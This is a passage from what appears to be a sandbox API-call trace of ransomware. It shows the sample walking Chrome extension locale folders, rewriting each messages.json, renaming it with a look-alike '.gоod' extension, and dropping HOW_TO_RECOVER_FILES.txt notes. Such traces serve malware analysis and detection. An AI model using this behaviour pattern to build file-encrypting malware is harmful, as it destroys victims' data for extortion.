ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0 [0240.598] FindClose (in: hFindFile=0x134ae60 | out: hFindFile=0x134ae60) returned 1 [0240.598] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x209ebea0) returned 1 [0240.598] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x209ebe60) returned 1 [0240.598] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x209ebf60) returned 1 [0240.598] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_1\\_locales\\fi", nBufferLength=0x105, lpBuffer=0x209eba00, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_1\\_locales\\fi", lpFilePart=0x0) returned 0x7b [0240.598] FindFirstFileW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_1\\_locales\\fi\\*", lpFindFileData=0x209ebc80 | out: lpFindFileData=0x209ebc80*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xe842c878, ftCreationTime.dwHighDateTime=0x1d327cb, ftLastAccessTime.dwLowDateTime=0xe84316cc, ftLastAccessTime.dwHighDateTime=0x1d327cb, ftLastWriteTime.dwLowDateTime=0xe84316cc, ftLastWriteTime.dwHighDateTime=0x1d327cb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x134a7a0 [0240.598] FindNextFileW (in: hFindFile=0x134a7a0, lpFindFileData=0x209ebc40 | out: lpFindFileData=0x209ebc40*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xe842c878, ftCreationTime.dwHighDateTime=0x1d327cb, ftLastAccessTime.dwLowDateTime=0xe84316cc, ftLastAccessTime.dwHighDateTime=0x1d327cb, ftLastWriteTime.dwLowDateTime=0xe84316cc, ftLastWriteTime.dwHighDateTime=0x1d327cb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0240.598] FindNextFileW (in: hFindFile=0x134a7a0, lpFindFileData=0x209ebc40 | out: lpFindFileData=0x209ebc40*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe84316cc, ftCreationTime.dwHighDateTime=0x1d327cb, ftLastAccessTime.dwLowDateTime=0xe8433d42, ftLastAccessTime.dwHighDateTime=0x1d327cb, ftLastWriteTime.dwLowDateTime=0xe8b477f5, ftLastWriteTime.dwHighDateTime=0x1d327cb, nFileSizeHigh=0x0, nFileSizeLow=0xb7, dwReserved0=0x0, dwReserved1=0x0, cFileName="messages.json", cAlternateFileName="MESSAG~1.JSO")) returned 1 [0240.599] FindNextFileW (in: hFindFile=0x134a7a0, lpFindFileData=0x209ebc40 | out: lpFindFileData=0x209ebc40*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe84316cc, ftCreationTime.dwHighDateTime=0x1d327cb, ftLastAccessTime.dwLowDateTime=0xe8433d42, ftLastAccessTime.dwHighDateTime=0x1d327cb, ftLastWriteTime.dwLowDateTime=0xe8b477f5, ftLastWriteTime.dwHighDateTime=0x1d327cb, nFileSizeHigh=0x0, nFileSizeLow=0xb7, dwReserved0=0x0, dwReserved1=0x0, cFileName="messages.json", cAlternateFileName="MESSAG~1.JSO")) returned 0 [0240.599] FindClose (in: hFindFile=0x134a7a0 | out: hFindFile=0x134a7a0) returned 1 [0240.599] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x209ebea0) returned 1 [0240.599] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x209ebe60) returned 1 [0240.599] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_1\\_locales\\fi\\messages.json", nBufferLength=0x105, lpBuffer=0x209eb840, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_1\\_locales\\fi\\messages.json", lpFilePart=0x0) returned 0x89 [0240.599] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x209ebd10) returned 1 [0240.599] GetFileAttributesExW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_1\\_locales\\fi\\messages.json" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_1\\_locales\\fi\\messages.json"), fInfoLevelId=0x0, lpFileInformation=0x37a4120 | out: lpFileInformation=0x37a4120*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe84316cc, ftCreationTime.dwHighDateTime=0x1d327cb, ftLastAccessTime.dwLowDateTime=0xe8433d42, ftLastAccessTime.dwHighDateTime=0x1d327cb, ftLastWriteTime.dwLowDateTime=0xe8b477f5, ftLastWriteTime.dwHighDateTime=0x1d327cb, nFileSizeHigh=0x0, nFileSizeLow=0xb7)) returned 1 [0240.599] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x209ebcd0) returned 1 [0240.599] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_1\\_locales\\fi\\messages.json", nBufferLength=0x105, lpBuffer=0x209eb6a0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_1\\_locales\\fi\\messages.json", lpFilePart=0x0) returned 0x89 [0240.599] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x209ebbc0) returned 1 [0240.599] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_1\\_locales\\fi\\messages.json" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_1\\_locales\\fi\\messages.json"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x860 [0240.599] GetFileType (hFile=0x860) returned 0x1 [0240.600] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x209ebb30) returned 1 [0240.600] GetFileType (hFile=0x860) returned 0x1 [0240.600] GetFileSize (in: hFile=0x860, lpFileSizeHigh=0x209ebd68 | out: lpFileSizeHigh=0x209ebd68*=0x0) returned 0xb7 [0240.600] ReadFile (in: hFile=0x860, lpBuffer=0x37a4590, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x209ebc98, lpOverlapped=0x0 | out: lpBuffer=0x37a4590*, lpNumberOfBytesRead=0x209ebc98*=0xb7, lpOverlapped=0x0) returned 1 [0240.600] CloseHandle (hObject=0x860) returned 1 [0240.909] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_1\\_locales\\fi\\messages.json", nBufferLength=0x105, lpBuffer=0x209eb6a0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_1\\_locales\\fi\\messages.json", lpFilePart=0x0) returned 0x89 [0240.909] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x209ebbc0) returned 1 [0240.909] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_1\\_locales\\fi\\messages.json" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_1\\_locales\\fi\\messages.json"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x478 [0240.910] GetFileType (hFile=0x478) returned 0x1 [0240.910] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x209ebb30) returned 1 [0240.910] GetFileType (hFile=0x478) returned 0x1 [0240.910] WriteFile (in: hFile=0x478, lpBuffer=0x393e0e8*, nNumberOfBytesToWrite=0xc0, lpNumberOfBytesWritten=0x209ebba8, lpOverlapped=0x0 | out: lpBuffer=0x393e0e8*, lpNumberOfBytesWritten=0x209ebba8*=0xc0, lpOverlapped=0x0) returned 1 [0240.911] CloseHandle (hObject=0x478) returned 1 [0240.911] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_1\\_locales\\fi\\messages.json", nBufferLength=0x105, lpBuffer=0x209eb840, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_1\\_locales\\fi\\messages.json", lpFilePart=0x0) returned 0x89 [0240.911] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_1\\_locales\\fi\\messages.json.gоod", nBufferLength=0x105, lpBuffer=0x209eb840, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_1\\_locales\\fi\\messages.json.gоod", lpFilePart=0x0) returned 0x8e [0240.911] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x209ebcd0) returned 1 [0240.911] GetFileAttributesExW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_1\\_locales\\fi\\messages.json" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_1\\_locales\\fi\\messages.json"), fInfoLevelId=0x0, lpFileInformation=0x209ebdb0 | out: lpFileInformation=0x209ebdb0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe84316cc, ftCreationTime.dwHighDateTime=0x1d327cb, ftLastAccessTime.dwLowDateTime=0xe8433d42, ftLastAccessTime.dwHighDateTime=0x1d327cb, ftLastWriteTime.dwLowDateTime=0x8bcde11d, ftLastWriteTime.dwHighDateTime=0x1d5c5e4, nFileSizeHigh=0x0, nFileSizeLow=0xc0)) returned 1 [0240.911] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x209ebc90) returned 1 [0240.911] MoveFileW (lpExistingFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_1\\_locales\\fi\\messages.json" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_1\\_locales\\fi\\messages.json"), lpNewFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_1\\_locales\\fi\\messages.json.gоod" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_1\\_locales\\fi\\messages.json.gоod")) returned 1 [0240.912] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_1\\_locales\\fi\\HOW_TO_RECOVER_FILES.txt", nBufferLength=0x105, lpBuffer=0x209eb9b0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_1\\_locales\\fi\\HOW_TO_RECOVER_FILES.txt", lpFilePart=0x0) returned 0x94 [0240.912] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x209ebed0) returned 1 [0240.912] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_1\\_locales\\fi\\HOW_TO_RECOVER_FILES.txt" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_1\\_locales\\fi\\how_to_recover_files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x8100000, hTemplateFile=0x0) returned 0x478 [0240.913] GetFileType (hFile=0x478) returned 0x1 [0240.913] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x209ebe40) returned 1 [0240.913] GetFileType (hFile=0x478) returned 0x1 [0240.913] WriteFile (in: hFile=0x478, lpBuffer=0x3941a20*, nNumberOfBytesToWrite=0x5d0, lpNumberOfBytesWritten=0x209ebf98, lpOverlapped=0x0 | out: lpBuffer=0x3941a20*, lpNumberOfBytesWritten=0x209ebf98*=0x5d0, lpOverlapped=0x0) returned 1 [0240.916] CloseHandle (hObject=0x478) returned 1 [0240.916] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x209ebf60) returned 1 [0240.916] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_1\\_locales\\fil", nBufferLength=0x105, lpBuffer=0x209eba00, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_1\\_locales\\fil", lpFilePart=0x0) returned 0x7c [0240.916] FindFirstFileW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_1\\_locales\\fil\\*", lpFindFileData=0x209ebc80 | out: lpFindFileData=0x209ebc80*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xe8449d3c, ftCreationTime.dwHighDateTime=0x1d327cb, ftLastAccessTime.dwLowDateTime=0xe844c461, ftLastAccessTime.dwHighDateTime=0x1d327cb, ftLastWriteTime.dwLowDateTime=0xe844c461, ftLastWriteTime.dwHighDateTime=0x1d327cb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x134ac80 [0240.916] FindNextFileW (in: hFindFile=0x134ac80, lpFindFileData=0x209ebc40 | out: lpFindFileData=0x209ebc40*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xe8449d3c, ftCreationTime.dwHighDateTime=0x1d327cb, ftLastAccessTime.dwLowDateTime=0xe844c461, ftLastAccessTime.dwHighDateTime=0x1d327cb, ftLastWriteTime.dwLowDateTime=0xe844c461, ftLastWriteTime.dwHighDateTime=0x1d327cb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0240.916] FindNextFileW (in: hFindFile=0x134ac80, lpFindFileData=0x209ebc40 | out: lpFindFileData=0x209ebc40*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe844c461, ftCreationTime.dwHighDateTime=0x1d327cb, ftLastAccessTime.dwLowDateTime=0xe844c3e2, ftLastAccessTime.dwHighDateTime=0x1d327cb, ftLastWriteTime.dwLowDateTime=0xe8b477f5, ftLastWriteTime.dwHighDateTime=0x1d327cb, nFileSizeHigh=0x0, nFileSizeLow=0xc7, dwReserved0=0x0, dwReserved1=0x0, cFileName="messages.json", cAlternateFileName="MESSAG~1.JSO")) returned 1 [0240.917] FindNextFileW (in: hFindFile=0x134ac80, lpFindFileData=0x209ebc40 | out: lpFindFileData=0x209ebc40*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0 [0240.917] FindClose (in: hFindFile=0x134ac80 | out: hFindFile=0x134ac80) returned 1 [0240.917] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x209ebea0) returned 1 [0240.917] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x209ebe60) returned 1 [0240.917] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x209ebf60) returned 1 [0240.917] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_1\\_locales\\fil", nBufferLength=0x105, lpBuffer=0x209eba00, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_1\\_locales\\fil", lpFilePart=0x0) returned 0x7c [0240.917] FindFirstFileW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_1\\_locales\\fil\\*", lpFindFileData=0x209ebc80 | out: lpFindFileData=0x209ebc80*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xe8449d3c, ftCreationTime.dwHighDateTime=0x1d327cb, ftLastAccessTime.dwLowDateTime=0xe844c461, ftLastAccessTime.dwHighDateTime=0x1d327cb, ftLastWriteTime.dwLowDateTime=0xe844c461, ftLastWriteTime.dwHighDateTime=0x1d327cb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x134a920 [0240.917] FindNextFileW (in: hFindFile=0x134a920, lpFindFileData=0x209ebc40 | out: lpFindFileData=0x209ebc40*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xe8449d3c, ftCreationTime.dwHighDateTime=0x1d327cb, ftLastAccessTime.dwLowDateTime=0xe844c461, ftLastAccessTime.dwHighDateTime=0x1d327cb, ftLastWriteTime.dwLowDateTime=0xe844c461, ftLastWriteTime.dwHighDateTime=0x1d327cb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0240.917] FindNextFileW (in: hFindFile=0x134a920, lpFindFileData=0x209ebc40 | out: lpFindFileData=0x209ebc40*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe844c461, ftCreationTime.dwHighDateTime=0x1d327cb, ftLastAccessTime.dwLowDateTime=0xe844c3e2, ftLastAccessTime.dwHighDateTime=0x1d327cb, ftLastWriteTime.dwLowDateTime=0xe8b477f5, ftLastWriteTime.dwHighDateTime=0x1d327cb, nFileSizeHigh=0x0, nFileSizeLow=0xc7, dwReserved0=0x0, dwReserved1=0x0, cFileName="messages.json", cAlternateFileName="MESSAG~1.JSO")) returned 1 [0240.917] FindNextFileW (in: hFindFile=0x134a920, lpFindFileData=0x209ebc40 | out: lpFindFileData=0x209ebc40*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe844c461, ftCreationTime.dwHighDateTime=0x1d327cb, ftLastAccessTime.dwLowDateTime=0xe844c3e2, ftLastAccessTime.dwHighDateTime=0x1d327cb, ftLastWriteTime.dwLowDateTime=0xe8b477f5, ftLastWriteTime.dwHighDateTime=0x1d327cb, nFileSizeHigh=0x0, nFileSizeLow=0xc7, dwReserved0=0x0, dwReserved1=0x0, cFileName="messages.json", cAlternateFileName="MESSAG~1.JSO")) returned 0 [0240.918] FindClose (in: hFindFile=0x134a920 | out: hFindFile=0x134a920) returned 1 [0240.918] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x209ebea0) returned 1 [0240.918] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x209ebe60) returned 1 [0240.918] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_1\\_locales\\fil\\messages.json", nBufferLength=0x105, lpBuffer=0x209eb840, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_1\\_locales\\fil\\messages.json", lpFilePart=0x0) returned 0x8a [0240.918] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x209ebd10) returned 1 [0240.918] GetFileAttributesExW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_1\\_locales\\fil\\messages.json" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_1\\_locales\\fil\\messages.json"), fInfoLevelId=0x0, lpFileInformation=0x3951a10 | out: lpFileInformation=0x3951a10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe844c461, ftCreationTime.dwHighDateTime=0x1d327cb, ftLastAccessTime.dwLowDateTime=0xe844c3e2, ftLastAccessTime.dwHighDateTime=0x1d327cb, ftLastWriteTime.dwLowDateTime=0xe8b477f5, ftLastWriteTime.dwHighDateTime=0x1d327cb, nFileSizeHigh=0x0, nFileSizeLow=0xc7)) returned 1 [0240.919] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x209ebcd0) returned 1 [0240.919] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_1\\_locales\\fil\\messages.json", nBufferLength=0x105, lpBuffer=0x209eb6a0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_1\\_locales\\fil\\messages.json", lpFilePart=0x0) returned 0x8a [0240.919] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x209ebbc0) returned 1 [0240.919] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_1\\_locales\\fil\\messages.json" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_1\\_locales\\fil\\messages.json"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x478 [0240.919] GetFileType (hFile=0x478) returned 0x1 [0240.919] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x209ebb30) returned 1 [0240.919] GetFileType (hFile=0x478) returned 0x1 [0240.919] GetFileSize (in: hFile=0x478, lpFileSizeHigh=0x209ebd68 | out: lpFileSizeHigh=0x209ebd68*=0x0) returned 0xc7 [0240.919] ReadFile (in: hFile=0x478, lpBuffer=0x3951e90, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x209ebc98, lpOverlapped=0x0 | out: lpBuffer=0x3951e90*, lpNumberOfBytesRead=0x209ebc98*=0xc7, lpOverlapped=0x0) returned 1 [0240.920] CloseHandle (hObject=0x478) returned 1 [0241.574] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_1\\_locales\\fil\\messages.json", nBufferLength=0x105, lpBuffer=0x209eb6a0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_1\\_locales\\fil\\messages.json", lpFilePart=0x0) returned 0x8a [0241.574] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x209ebbc0) returned 1 [0241.574] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_1\\_locales\\fil\\messages.json" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_1\\_locales\\fil\\messages.json"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x630 [0241.575] GetFileType (hFile=0x630) returned 0x1 [0241.575] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x209ebb30) returned 1 [0241.575] GetFileType (hFile=0x630) returned 0x1 [0241.575] WriteFile (in: hFile=0x630, lpBuffer=0x3884c98*, nNumberOfBytesToWrite=0xd0, lpNumberOfBytesWritten=0x209ebba8, lpOverlapped=0x0 | out: lpBuffer=0x3884c98*, lpNumberOfBytesWritten=0x209ebba8*=0xd0, lpOverlapped=0x0) returned 1 [0241.576] CloseHandle (hObject=0x630) returned 1 [0241.576] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_1\\_locales\\fil\\messages.json", nBufferLength=0x105, lpBuffer=0x209eb840, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_1\\_locales\\fil\\messages.json", lpFilePart=0x0) returned 0x8a [0241.576] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_1\\_locales\\fil\\messages.json.gоod", nBufferLength=0x105, lpBuffer=0x209eb840, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_1\\_locales\\fil\\messages.json.gоod", lpFilePart=0x0) returned 0x8f [0241.576] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x209ebcd0) returned 1 [0241.576] GetFileAttributesExW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_1\\_locales\\fil\\messages.json" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_1\\_locales\\fil\\messages.json"), fInfoLevelId=0x0, lpFileInformation=0x209ebdb0 | out: lpFileInformation=0x209ebdb0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe844c461, ftCreationTime.dwHighDateTime=0x1d327cb, ftLastAccessTime.dwLowDateTime=0xe844c3e2, ftLastAccessTime.dwHighDateTime=0x1d327cb, ftLastWriteTime.dwLowDateTime=0x8c3465d5, 